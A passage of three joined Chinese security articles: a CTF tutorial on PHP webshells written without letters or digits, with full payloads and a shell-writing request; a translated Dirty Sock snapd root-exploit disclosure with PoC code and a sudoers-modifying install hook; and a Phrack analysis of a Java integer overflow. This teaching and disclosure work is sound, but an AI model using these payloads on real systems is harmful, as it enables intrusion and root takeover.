注意到这里"assert"和"_POST"都用的URL编码表示，如果直接以\x9e\x8c\x8c\x9a\x8d\x8b这种UTF-8字符表示，并不能识别出为UTF-8字符，而是会被识别为英文+数字的字符串。
## 方法三
这种方法主要就是利用自增自减。
"A"++ ==> "B"
"B"++ ==> "C"
也就是说，如果我们能够得到"A"，那么我们就能通过自增自减，得到所有的字母。
那么问题就转化为怎么得到一个字符"A"。在PHP中，如果强制连接数组和字符串的话，数组将被转换成字符串，其值为"Array"。再取这个字符串的第一个字母，就可以获得"A"。
<?php
$a = ''.[];
var_dump($a);
故有payload:
<?php
$_=[].''; //得到"Array"
$___ = $_[$__]; //得到"A"，$__没有定义，默认为False也即0，此时$___="A"
$__ = $___; //$__="A"
$_ = $___; //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"S"，此时$__="S"
$___ .= $__; //$___="AS"
$___ .= $__; //$___="ASS"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++; //得到"E"，此时$__="E"
$___ .= $__; //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++; //得到"R"，此时$__="R"
$___ .= $__; //$___="ASSER"
$__++;$__++; //得到"T"，此时$__="T"
$___ .= $__; //$___="ASSERT"
$__ = $_; //$__="A"
$____ = "_"; //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"P"，此时$__="P"
$____ .= $__; //$____="_P"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"O"，此时$__="O"
$____ .= $__; //$____="_PO"
$__++;$__++;$__++;$__++; //得到"S"，此时$__="S"
$____ .= $__; //$____="_POS"
$__++; //得到"T"，此时$__="T"
$____ .= $__; //$____="_POST"
$_ = $$____; //$_=$_POST
$___($_[_]); //ASSERT($POST[_])
由于PHP中函数对大小写不敏感，所以我们最终执行的是ASSERT()而不是assert()
# 进阶
## 过滤了_
在我们上面的例子中，_的主要用途就是在构造变量。但其实最简便的方法里面，我们可以完全不用_，这里给出一个例子。
?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>
分析下这个Payload，?>闭合了eval自带的<?标签。接下来使用了短标签。{}包含的PHP代码可以被执行，~"%a0%b8%ba%ab"为"_GET"，通过反引号进行shell命令执行。最后我们只要GET传参%a0即可执行命令。
## 过滤了;
分号我们只是用在结束PHP语句上，我们只要把所有的PHP语句改成短标签形式，就可以不使用;了。
## 过滤了$
过滤了$的影响是我们彻底不能构造变量了。
### PHP7
在PHP7中，我们可以使用($a)()这种方法来执行命令。这里我使用call_user_func()来举例(不使用assert()的原因上面已经解释过)。
我构造了shell=(~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c)(~%8c%86%8c%8b%9a%92,~%88%97%90%9e%92%96,'');
其中~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c是"call_user_func"，~%8c%86%8c%8b%9a%92是"system"，~%88%97%90%9e%92%96是"whoami"。
成功执行命令
### PHP5
PHP5中不再支持($a)()这种方法来调用函数。因此利用方法较为复杂。
详细过程可以参考P神的[无字母数字webshell之提高篇](https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html?page=2#reply-list)(膜爆P神!!)
我们首先要知道几个知识点:
**1.** Linux下可以用 **.** 来执行文件
**2.**
PHP中POST上传文件会把我们上传的文件暂时存在/tmp文件夹中，默认文件名是/tmp/phpXXXXXX，文件名最后6个字符是随机的大小写字母。(说句题外话，这个知识点在最近的CTF中频繁出镜，具体利用有如文件包含等)
假如我们要执行生成的文件，那我们可以尝试下
. /???/?????????
但是我们会发现这样(通常情况下)并不能争取的执行文件，而是会报错，原因就是这样匹配到的文件太多了，系统不知道要执行哪个文件。
根据P神的文章，最后我们可以采用的Payload是:
. /???/????????[@-[]
最后的[@-[]表示ASCII在@和[之间的字符，也就是大写字母，所以最后会执行的文件是tmp文件夹下结尾是大写字母的文件。由于PHP生成的tmp文件最后一位是随机的大小写字母，所以我们可能需要多试几次才能正确的执行我们的代码。(50%的几率嘛)
固有最终数据包:
POST /?code=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?> HTTP/1.1
Host: xxxxxx:2333
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type:multipart/form-data;boundary=--------123
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 106
----------123
Content-Disposition:form-data;name="file";filename="1.txt"
echo "<?php eval(\$_POST['shell']);" > success.php
----------123--
上面我们写入了一个shell。如图，成功Getshell。
# 几道题目
## 题目一
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}
?>
### 解法一
很明显，我们上面提到的不用_写shell的方法也适用于本题，直接对%a0传参cat flag.php就行
### 解法二
当然，利用异或，我们也可以构造出类似的Payload:
?><?=`{${~"!'%("^"~``|"}[%a0]}`?>
也即:
?><?=`{${"!%27%25("^"%7e%60%60%7c"}[%a0]}`?>
### 解法三
解法一和解法二属于威力大，可直接任意代码执行。但在此题中由于有hint的存在，我们可以不必任意代码执行，而只是执行getFlag()即可。
利用异或，有Payload:
${"`{{{"^"?<>/"}['+']();&+=getFlag
同样利用取反也可以执行代码，不再赘述。
## 题目二
<?php
include 'flag.php';
if(isset($_GET['code']))
{
$code=$_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code))
{
die("NO.");
}
@eval($code);
}
else
{
highlight_file(__FILE__);
}
//$hint="php function getFlag() to get flag";
?>
### 解法一
这道题很明显可以利用上面所讲的
. /???/????????[@-[]
来执行命令，毕竟getshell了还愁没有flag?就不再介绍此种方法
### 解法二
同样解法一属于任意代码执行，但在这道ctf题目中，我们已知了目录下存在flag.php文件所以可以利用通配符直接匹配文件并输出。
故有Payload:
code=?><?=`/???/??? ????.???`?>
其中/???/??? ????.???匹配/bin/cat flag.php，这样也能得到flag。
## 题目三
这是De1ctf Hard_Pentest_1的第一部分。第一步要求我们上传一句话木马。其正则限制为:
/[a-z0-9;~^`&|]/is
~、^都被过滤了，很明显就是要用自增法构造了。由于;也被过滤了，所以只能使用短标签法。
有EXP:
<?=$_=[]?><?=$_=@"$_"?><?=$_=$_['!'=='@']?><?=$___=$_?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?= $___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$____='_'?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$_=$$____?><?=$_[__]($_[_])?>
其实从上面这些题目，我们可以看到，在三种方法中，使用异或、取反的方法构造出来的Payload长度较短，使用自增的方法构造出的Payload较长。所以一般限制长度执行的题目考察的都是~、^(不然限制你长度为100还是太长的也没什么意思)，但当过滤了~、^(如De1ctf那道)，思路很明显就是自增了。而过滤了;的情况，就指明要你使用短标签了。
# 总结
其实上面方法的思路大多数都是一样的，就是表示出各个字母进而执行函数。学习过程中也可对PHP的动态性有更深的理解。但如P神所说，这种方法构造出来的webshell由于不包含字母数字，熵值很高，一看就有问题，所以一般也只在CTF中存在，实战一般不存在这种情况。
# 参考文章
[一些不包含数字和字母的webshell](https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html)
[无字母数字webshell之提高篇](https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html?page=2#reply-list)
[PHP不使用数字,字母和下划线写shell](https://www.smi1e.top/php%E4%B8%8D%E4%BD%BF%E7%94%A8%E6%95%B0%E5%AD%97%E5%AD%97%E6%AF%8D%E5%92%8C%E4%B8%8B%E5%88%92%E7%BA%BF%E5%86%99shell/)
[CTF题目思考--极限利用](https://www.anquanke.com/post/id/154284) | 社区文章 |
# Dirty Sock：Ubuntu提权漏洞分析
|
##### 译文声明
本文是翻译文章，文章原作者 shenaniganslabs，文章来源：shenaniganslabs.io
原文地址：<https://shenaniganslabs.io/2019/02/13/Dirty-Sock.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
2019年1月，我在默认安装的Ubuntu系统中找到了一个权限提升漏洞。漏洞位于`snapd`
API中，这是系统默认安装的一个服务。本地用户可以利用该漏洞获得系统的root访问权限。
我在[dirty_sock](https://github.com/initstring/dirty_sock/)代码仓库中提供了两款利用程序：
1、[dirty_sockv1](https://github.com/initstring/dirty_sock/blob/master/dirty_sockv1.py)：使用`create-user` API，根据Ubuntu SSO的相关信息创建本地用户。
2、[dirty_sockv2](https://github.com/initstring/dirty_sock/blob/master/dirty_sockv2.py)：侧加载（sideload）包含`install-hook`的一个snap，创建新的本地用户。
这两种利用方式都适用于默认安装的Ubuntu。我主要在18.10系统上做了测试，但老版本系统也受该漏洞影响。
snapd团队对该漏洞的[响应](https://bugs.launchpad.net/snapd/+bug/1813365)非常迅速且非常恰当。与他们直接合作非常愉快，在此感谢他们的辛勤工作及友善态度。作为一名Ubuntu用户，我在这种互动中也感到非常愉快。
snapd通过本地`UNIX_AF` socket（套接字）提供了一个REST
API，当连接到该socket时，snapd通过查询连接对应的UID来实现对受限API函数的访问控制。在对解析字符串的for循环中，用户可以通过可控的socket数据来覆盖某个UID变量，这样任何用户就能访问任何API函数。
获得API访问权限后，用户可以通过各种方法获得root权限，比如前面就提到了两种利用技术。
## 二、什么是Snap
为了简化Linux系统上的软件包（package）管理方式，人们提出了各种标准。作为Ubuntu分支的开发商，Canonical提出了“Snap”软件包管理方式。这种方式可以将所有应用依赖项封装到一个二进制文件中，类似于Windows的应用程序。
整个Snap生态中包含一个“[app
store](https://snapcraft.io/store)”，开发者可以利用该商店发布并维护随时可用的软件包。
[snapd](https://github.com/snapcore/snapd)这个systemd服务参与管理本地安装的snap，也会与在线商店进行通信。该服务会自动安装在Ubuntu系统中，并且在“root”用户上下文中运行。Snapd现在正在成为Ubuntu操作系统的重要组成部分，并在针对云和IoT的“Snappy
Ubuntu Core”精简分支中发挥重要作用。
## 三、漏洞分析
### 有趣的Linux系统信息
Ubuntu系统通过某个systemd服务的unit文件来描述snapd服务，文件具体路径为`/lib/systemd/system/snapd.service`，前几行内容如下：
[Unit]
Description=Snappy daemon
Requires=snapd.socket
根据这一信息，我们可以将线索指向一个systemd socket
unit文件，具体路径为`/lib/systemd/system/snapd.socket`。
文中有几行比较有趣，如下所示：
[Socket]
ListenStream=/run/snapd.socket
ListenStream=/run/snapd-snap.socket
SocketMode=0666
Linux系统使用`AF_UNIX`之类的UNIX
socket实现同一个台主机上不同进程之间的通信，而`AF_INET`和`AF_INET6`之类的socket则用于网络连接场景中的进程间通信。
根据前面的unit文件，我们知道系统会创建两个socket文件，将文件权限设置为`0666`模式（所有人可读可写），这样任何进程才能连接到该socket并与之通信。
我们可以通过文件系统来查看这些socket：
$ ls -aslh /run/snapd*
0 srw-rw-rw- 1 root root 0 Jan 25 03:42 /run/snapd-snap.socket
0 srw-rw-rw- 1 root root 0 Jan 25 03:42 /run/snapd.socket
有趣的是，我们可以使用Linux的`nc`工具（只要符合BSD风格即可）来与这类`AF_UNIX`
socket通信。例如，当我们用`nc`连接到这些socket并按下Enter键时，会看到如下信息：
$ nc -U /run/snapd.socket
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
Connection: close
400 Bad Request
更为有趣的是，当攻击者成功入侵某台主机时，首先往往会寻找运行在root上下文环境中的隐藏服务。HTTP服务器是主要的目标，这些服务器通常与网络套接字紧密联系。
从这些信息中我们已经找到了一个较好的利用目标：这是一个隐藏的HTTP服务，很可能没有经过广泛的测试，许多自动化提权工具并不会检查这个服务。
> 备注：我开发的提权工具[uptux](https://github.com/initstring/uptux)能成功识别出这个有趣的目标。
### 漏洞代码
由于这是一个开源项目，因此我们可以通过源代码来静态分析。开发者提供了关于这个REST
API的详细文档，大家可以参考[此处](https://github.com/snapcore/snapd/wiki/REST-API)了解更多信息。
需要重点关注的一个API函数为：`POST /v2/create-user`，根据文档描述，该函数可以“创建一个本地用户”。文档中提到该调用需要root访问权限才能执行。
那么守护程序（daemon）如何知道访问该API的用户已经具备root权限？
通过源码分析，我们可以找到一个[文件](https://github.com/snapcore/snapd/blob/4533d900f6f02c9a04a59e49e913f04a485ae104/daemon/ucrednet.go)（这里我引用的是存在漏洞的历史版本）。
观察如下一行代码：
ucred, err := getUcred(int(f.Fd()), sys.SOL_SOCKET, sys.SO_PEERCRED)
这里会调用golang的一个标准库来收集与socket连接有关的用户信息。
通常情况下，`AF_UNIX` socket系列中包含一个选项，可以允许发送进程以附加数据（ancillary
data）发送凭据信息（参考Linux命令`man unix`）。
这是用来判断访问该API进程权限的一种相当可靠的方式。
利用golang调试器`delve`，我们可以观察执行`nc`命令后所返回信息。在调试器中，我们可以在该函数上设置断点，然后使用delve的`print`命令来显示`ucred`变量的当前值：
> github.com/snapcore/snapd/daemon.(*ucrednetListener).Accept()
...
109: ucred, err := getUcred(int(f.Fd()), sys.SOL_SOCKET, sys.SO_PEERCRED)
=> 110: if err != nil {
...
(dlv) print ucred
*syscall.Ucred {Pid: 5388, Uid: 1000, Gid: 1000}
这看起来非常不错，程序发现我的uid为1000，准备拒绝我访问敏感的API函数。如果这些变量以这种状态被程序所使用，那么的确会出现这种情况，然而事实并非如此。
实际上在该函数中还包含其他一些处理过程，与该连接有关的信息会与前面这些值一起加入到一个新的对象中：
func (wc *ucrednetConn) RemoteAddr() net.Addr {
return &ucrednetAddr{wc.Conn.RemoteAddr(), wc.pid, wc.uid, wc.socket}
}
然后所有这些值会拼接成一个string变量：
func (wa *ucrednetAddr) String() string {
return fmt.Sprintf("pid=%s;uid=%s;socket=%s;%s", wa.pid, wa.uid, wa.socket, wa.Addr)
}
最终该变量会由该函数负责解析，拼接成的字符串会被再次拆分，分解成独立的字段：
func ucrednetGet(remoteAddr string) (pid uint32, uid uint32, socket string, err error) {
...
for _, token := range strings.Split(remoteAddr, ";") {
var v uint64
...
} else if strings.HasPrefix(token, "uid=") {
if v, err = strconv.ParseUint(token[4:], 10, 32); err == nil {
uid = uint32(v)
} else {
break
}
最后一个函数的功能是将字符串按`;`符号拆分，然后查找开头为`uid=`的信息。由于函数会遍历所有的拆分字段，因此后出现的`uid=`会覆盖先出现的值。
那么如果我们能通过某种方式将任意文本注入该函数中呢？
回到delve调试器，我们可以看一下`remoteAddr`字符串，检查一下`nc`连接中该字段包含哪些数据（`nc`正确实现了HTTP GET请求）：
请求操作：
$ nc -U /run/snapd.socket
GET / HTTP/1.1
Host: 127.0.0.1
调试输出：
github.com/snapcore/snapd/daemon.ucrednetGet()
...
=> 41: for _, token := range strings.Split(remoteAddr, ";") {
...
(dlv) print remoteAddr
"pid=5127;uid=1000;socket=/run/snapd.socket;@"
现在，我们并不使用包含`uid`及`pid`之类独立属性的一个对象，而是直接使用已拼接所有字段的一个字符串变量，这个字符串包含4个不同的元素。第二个元素`uid=1000`代表我们当前的控制权限。
如果该函数按照`;`来拆分这个字符串并迭代处理，那么有两部分数据（如果包含`uid=`字符串）可能会覆盖第一个`uid=`字段，但只有在我们能影响这些数据才可以实现该目标。
第一部分（`socket=/run/snapd.socket`）是用来监听socket的本地“网络地址”：服务定义的待绑定（bind）的文件路径。我们没有权限修改snapd，无法让其使用另一个socket名来运行，因此似乎我们不大可能修改该值。
但调试信息中字符串末尾的`@`符号是什么？该符号源自何处？我们可以从`remoteAddr`这个变量名中找到线索。在调试器中探索一番后，我们可以看到golang标准库（`net.go`）会返回本地网络地址
**以及** 远程地址，我们可以在调试会话中看到这些信息（`laddr`以及`raddr`）：
> net.(*conn).LocalAddr() /usr/lib/go-1.10/src/net/net.go:210 (PC: 0x77f65f)
...
=> 210: func (c *conn) LocalAddr() Addr {
...
(dlv) print c.fd
...
laddr: net.Addr(*net.UnixAddr) *{
Name: "/run/snapd.socket",
Net: "unix",},
raddr: net.Addr(*net.UnixAddr) *{Name: "@", Net: "unix"},}
远程地址会被设置为神秘的`@`符号。进一步阅读`man unix`帮助信息后，我们了解到这与“抽象命名空间（abstract
namespace）”有关，用来绑定独立于文件系统的socket。命名空间中的socket开头为`null-byte`（空字节）字符，该字符在终端中通常会显示为`@`。
我们可以创建绑定到我们可控文件名的socket，而不去依赖netcat所使用的抽象套接字命名空间。这样操作应该能影响我们想修改的字符串变量的部分数据，也就是前面显示的`raddr`变量。
通过一些简单的python代码，我们可以创建包含`;uid=0;`字符串的文件名，然后将socket绑定到该文件，最后利用该socket连接到snapd
API。
漏洞利用POC代码片段如下：
## Setting a socket name with the payload included
sockfile = "/tmp/sock;uid=0;"
## Bind the socket
client_sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
client_sock.bind(sockfile)
## Connect to the snap daemon
client_sock.connect('/run/snapd.socket')
现在我们可以在调试器中，再次观察`remoteAddr`变量的值：
> github.com/snapcore/snapd/daemon.ucrednetGet()
...
=> 41: for _, token := range strings.Split(remoteAddr, ";") {
...
(dlv) print remoteAddr
"pid=5275;uid=1000;socket=/run/snapd.socket;/tmp/sock;uid=0;"
很好，这里我们成功注入了一个假的uid（`uid=0`），也就是root用户，在最后一次迭代处理中该字段会覆盖实际的uid值。这样我们就能够访问受包含的API函数。
我们可以在调试器中继续该函数，验证uid是否会被设置为0。delve的输出结果如下：
> github.com/snapcore/snapd/daemon.ucrednetGet()
...
=> 65: return pid, uid, socket, err
...
(dlv) print uid
0
## 四、武器化
### 版本1
[dirty_sockv1](https://github.com/initstring/dirty_sock/blob/master/dirty_sockv1.py)利用的是“POST
/v2/create-user”这个API函数。为了利用该漏洞，我们只需在[Ubuntu
SSO](https://login.ubuntu.com/)上创建一个账户，然后将SSH公钥上传到账户目录中，接下来使用如下命令来利用漏洞（使用我们注册的邮箱和关联的SSH私钥）：
$ dirty_sockv1.py -u [email protected] -k id_rsa
这种利用方式非常可靠并且可以安全执行，现在我们已经可以获得root权限。
当然这里我们需要能够访问互联网，目标主机也需要开放SSH服务，那么我们是否可以在更加受限的环境中利用漏洞呢？
### 版本2
[dirty_sockv2](https://github.com/initstring/dirty_sock/blob/master/dirty_sockv2.py)使用了“POST
/v2/snaps”
API来侧加载一个snap，该snap中包含一个bash脚本，可以添加一个本地用户。这种利用方式适用于没有运行SSH服务的目标系统，也适用于没有互联网连接的较新版Ubuntu。然而，这里的侧加载方式的确需要一些核心snap依赖，如果缺乏这些依赖，可能会触发snapd服务的更新操作。根据我的测试，我发现这种方式仍然有效，但只能使用
**一次** 。
snap本身运行在沙箱（sandbox）环境中，并且数字签名需要匹配主机已信任的公钥。然而我们可以使用处于开发模式（“devmode”）的snap来降低这些限制条件，这样snap就能像其他应用那样访问操作系统。
此外snap还引入了“hooks”机制，其中“install hook”会在snap安装时运行，并且“install
hook”可以是一个简单的shell脚本。如果snap配置为“devmode”，那么这个hook会在root上下文中运行。
我创建了一个简单的snap，该snap没有其他功能，只是会在安装阶段执行的一个bash脚本。该脚本会运行如下命令：
useradd dirty_sock -m -p '$6$sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.fg19Ns3JwRdDhOcEmDpBVlF9m.' -s /bin/bash
usermod -aG sudo dirty_sock
echo "dirty_sock ALL=(ALL:ALL) ALL" >> /etc/sudoers
上面中的加密字符串实际上是`dirty_sock`文本经过Python的`crypt.crypt()`函数处理后的结果。
创建该snap的具体命令如下所示，我们可以在开发主机（而非目标主机）上执行这些命令。snap创建完毕后，我们可以将其转换为base64文本，以便整合到完整的python利用代码中。
## Install necessary tools
sudo apt install snapcraft -y
## Make an empty directory to work with
cd /tmp
mkdir dirty_snap
cd dirty_snap
## Initialize the directory as a snap project
snapcraft init
## Set up the install hook
mkdir snap/hooks
touch snap/hooks/install
chmod a+x snap/hooks/install
## Write the script we want to execute as root
cat > snap/hooks/install << "EOF"
#!/bin/bash
useradd dirty_sock -m -p '$6$sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.fg19Ns3JwRdDhOcEmDpBVlF9m.' -s /bin/bash
usermod -aG sudo dirty_sock
echo "dirty_sock ALL=(ALL:ALL) ALL" >> /etc/sudoers
EOF
## Configure the snap yaml file
cat > snap/snapcraft.yaml << "EOF"
name: dirty-sock
version: '0.1'
summary: Empty snap, used for exploit
description: |
See https://github.com/initstring/dirty_sock
grade: devel
confinement: devmode
parts:
my-part:
plugin: nil
EOF
## Build the snap
snapcraft
如果大家不放心的话，可以使用如上命令自己创建snap。
生成snap文件后，我们可以使用bash将其转换成base64文本，命令如下：
$ base64 <snap-filename.snap>
经过base64编码的文本可以存放到`dirty_sock.py`利用代码开头处的`TROJAN_SNAP`全局变量中。
利用程序使用python语言开发，会执行如下操作：
1、创建一个随机文件，文件名中包含`;uid=0;`字符串
2、将一个socket绑定到该文件
3、连接到snapd API
4、删除后门snap（如果上一次执行中断导致snap残留）
5、安装后门snap
6、删除后门snap
7、删除临时socket文件
8、漏洞利用成功
## 五、防护及缓解措施
请及时给系统打补丁，我披露漏洞后snapd团队第一时间就解决了这个问题。 | 社区文章 |
原文：<http://phrack.org/papers/escaping_the_java_sandbox.html>
在上一篇中，我们为读者详细介绍了基于类型混淆漏洞的沙箱逃逸技术。在本文中，我们将继续介绍整型溢出漏洞方面的知识。
**\----[ 3.2 - 整数溢出漏洞**
* * *
**\------[ 3.2.1 - 背景知识**
* * *
当算术运算的结果太大从而导致变量的位数不够用时，就会发生整数溢出。在Java中，整数是使用32位表示的带符号数。正整数的取值范围从0x00000000（0）到0x7FFFFFFF（2
^ 31-1）。负整数的取值范围为从0x80000000（-2 ^ 31）到0xFFFFFFFF（-1）。如果值0x7FFFFFFF（2 ^
31-1）继续递增的话，则结果就不是2 ^ 31，而是（-2 ^ 31）了。那么，我们如何才能利用这个漏洞来禁用安全管理器呢？
在下一节中，我们将分析CVE-2015-4843[20]的整数溢出漏洞。很多时候，整数会用作数组中的索引。利用溢出漏洞，我们可以读取/写入数组之外的值。这些读/写原语可以用于实现类型混淆攻击。在上面的CVE-2017-3272的介绍中说过，安全分析人员可以通过这种攻击来禁用安全管理器。
**\------[ 3.2.2 - 示例： CVE-2015-4843**
* * *
Redhat公司的Bugzilla[19]对这个漏洞的进行了简短的介绍：在java.nio包中的Buffers类中发现了多个整数溢出漏洞，并且相关漏洞可用于执行任意代码。
漏洞补丁实际上修复的是文件java/nio/Direct-X-Buffer.java.template，它用于生成DirectXBufferY.java形式的类，其中X可以是“Byte”、“Char”、“Double”、“Int”、“Long”、“Float”或“Short”，Y可以是“S”、“U”、“RS”或“RU”。其中，“S”表示该数组存放的是带符号数，“U”表示无符号数，“RS”表示只读模式下的有符号数，而“RU”表示只读模式下的无符号数。每个生成的类_C_都会封装一个可以通过类_C_的方法进行操作的特定类型的数组。例如，DirectIntBufferS.java封装了一个32位有符号整型数组，并将方法get()和set()分别定义为将数组中的元素复制到DirectIntBufferS类的内部数组，或者将内部数组中的元素复制到该类外部的数组中。以下代码摘自该漏洞的补丁程序：
14: public $Type$Buffer put($type$[] src, int offset, int length) {
15: #if[rw]
16: - if ((length << $LG_BYTES_PER_VALUE$)
> Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) {
17: + if (((long)length << $LG_BYTES_PER_VALUE$)
> Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) {
18: checkBounds(offset, length, src.length);
19: int pos = position();
20: int lim = limit();
21: @@ -364,12 +364,16 @@
22:
23: #if[!byte]
24: if (order() != ByteOrder.nativeOrder())
25: - Bits.copyFrom$Memtype$Array(src,
offset << $LG_BYTES_PER_VALUE$,
26: - ix(pos), length << $LG_BYTES_PER_VALUE$);
27: + Bits.copyFrom$Memtype$Array(src,
28: + (long)offset << $LG_BYTES_PER_VALUE$,
29: + ix(pos),
30: + (long)length << $LG_BYTES_PER_VALUE$);
31: else
32: #end[!byte]
33: - Bits.copyFromArray(src, arrayBaseOffset,
offset << $LG_BYTES_PER_VALUE$,
34: - ix(pos), length << $LG_BYTES_PER_VALUE$);
35: + Bits.copyFromArray(src, arrayBaseOffset,
36: + (long)offset << $LG_BYTES_PER_VALUE$,
37: + ix(pos),
38: + (long)length << $LG_BYTES_PER_VALUE$);
39: position(pos + length);
修复工作（第17、28、36和38行）涉及在执行移位操作之前将32位整数转换为64位整数，这是因为在32位整数上完成该移位操作会导致整数溢出。下面是put()方法修订后的版本，这是从Java
1.8 update 65版本中的java.nio.DirectIntBufferS.java中提取的：
354: public IntBuffer put(int[] src, int offset, int length) {
355:
356: if (((long)length << 2) > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) {
357: checkBounds(offset, length, src.length);
358: int pos = position();
359: int lim = limit();
360: assert (pos <= lim);
361: int rem = (pos <= lim ? lim - pos : 0);
362: if (length > rem)
363: throw new BufferOverflowException();
364:
365:
366: if (order() != ByteOrder.nativeOrder())
367: Bits.copyFromIntArray(src,
368: (long)offset << 2,
369: ix(pos),
370: (long)length << 2);
371: else
372:
373: Bits.copyFromArray(src, arrayBaseOffset,
374: (long)offset << 2,
375: ix(pos),
376: (long)length << 2);
377: position(pos + length);
378: } else {
379: super.put(src, offset, length);
380: }
381: return this;
382:
383:
384:
385: }
该方法将src数组中指定的偏移量处的length元素复制到内部数组中。在第367行，将会调用方法Bits.copyFromIntArray()。这个Java方法的参数分别是源数组的引用、源数组的偏移量（以字节为单位）、目标数组的索引（以字节为单位）以及要复制的字节数。由于最后三个参数是用来表示大小和偏移量的（以字节为单位），因此，必须将它们的值乘以4（左移2位）。其中，这里进行移位操作的参数为offset（第374行）、pos（第375行）和length（第376行）。请注意，对于参数pos来说，移位操作是在ix()方法中进行的。
在易受攻击的版本中，并没有进行相应的强制类型转换，从而导致代码容易受到整数溢出漏洞的影响。
类似地，将元素从内部数组复制到外部数组的get()方法也很容易受到这种攻击的影响。其实，get()方法与put()方法非常相似，只是对copyFromIntArray()的调用被对copyToIntArray()的调用所取代而已：
262: public IntBuffer get(int[] dst, int offset, int length) {
263:
[...]
275: Bits.copyToIntArray(ix(pos), dst,
276: (long)offset << 2,
277: (long)length << 2);
[...]
291: }
由于方法get()和put()非常相似，因此，这里只介绍get()方法中整数溢出漏洞的利用方法。至于put()方法中的漏洞利用方法，大家可以照葫芦画瓢。
下面，我们先来看看在get()方法中调用的Bits.copyFromArray()方法，它实际上是一个原生方法，如下所示：
803: static native void copyToIntArray(long srcAddr, Object dst,
804: long dstPos, long length);
该方法的C代码如下所示。
175: JNIEXPORT void JNICALL
176: Java_java_nio_Bits_copyToIntArray(JNIEnv *env, jobject this,
177: jlong srcAddr, jobject dst,
jlong dstPos, jlong length)
178: {
179: jbyte *bytes;
180: size_t size;
181: jint *srcInt, *dstInt, *endInt;
182: jint tmpInt;
183:
184: srcInt = (jint *)jlong_to_ptr(srcAddr);
185:
186: while (length > 0) {
187: /* do not change this code, see WARNING above */
188: if (length > MBYTE)
189: size = MBYTE;
190: else
191: size = (size_t)length;
192:
193: GETCRITICAL(bytes, env, dst);
194:
195: dstInt = (jint *)(bytes + dstPos);
196: endInt = srcInt + (size / sizeof(jint));
197: while (srcInt < endInt) {
198: tmpInt = *srcInt++;
199: *dstInt++ = SWAPINT(tmpInt);
200: }
201:
202: RELEASECRITICAL(bytes, env, dst, 0);
203:
